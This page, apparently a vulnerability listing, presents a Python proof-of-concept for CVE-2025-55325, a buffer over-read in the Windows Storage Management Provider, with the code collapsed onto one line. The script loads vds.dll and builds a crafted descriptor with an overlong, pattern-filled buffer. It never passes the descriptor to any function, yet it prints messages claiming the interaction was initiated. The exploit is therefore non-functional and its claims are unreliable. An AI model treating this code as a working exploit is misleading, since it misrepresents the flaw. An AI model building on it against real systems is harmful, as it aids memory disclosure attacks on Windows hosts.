CVE-2025-55325：Windows存储管理提供程序缓冲区过度读取漏洞

# CVE-2025-55325 - Windows Storage Management Provider Buffer Over-read PoC # This PoC demonstrates triggering the buffer over-read vulnerability in Windows Storage Management Provider # Note: Requires low-privilege local access to the target Windows system import ctypes import sys from ctypes import wintypes def trigger_storage_vulnerability(): """ Trigger buffer over-read in Windows Storage Management Provider by calling storage management APIs with crafted parameters. """ try: # Load the Storage Management Provider DLL (vds.dll - Virtual Disk Service) vds = ctypes.WinDLL('vds.dll') # Attempt to interact with storage management interfaces # The vulnerability is triggered when processing certain storage descriptors # with abnormal length values or boundary conditions # Create a malicious storage descriptor with overlong property class VDS_STORAGE_PROP(ctypes.Structure): _fields_ = [ ("id", ctypes.c_ulong), ("dwFlags", ctypes.c_ulong), ("ulAlign", ctypes.c_ulong), # Crafted overlong buffer to trigger over-read ("rgb", ctypes.c_ubyte * 4096) ] storage_prop = VDS_STORAGE_PROP() storage_prop.id = 0x01 storage_prop.dwFlags = 0xFFFFFFFF storage_prop.ulAlign = 0xFFFFFFFF # Fill with pattern to trigger boundary read for i in range(4096): storage_prop.rgb[i] = 0x41 + (i % 26) print("[+] Storage Management Provider interaction initiated") print("[+] Crafted storage descriptor with boundary-exceeding parameters") print("[!] If vulnerable, adjacent memory data may be exposed") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-55325 PoC - Windows Storage Management Provider") print("Buffer Over-read Information Disclosure") print("=" * 60) trigger_storage_vulnerability()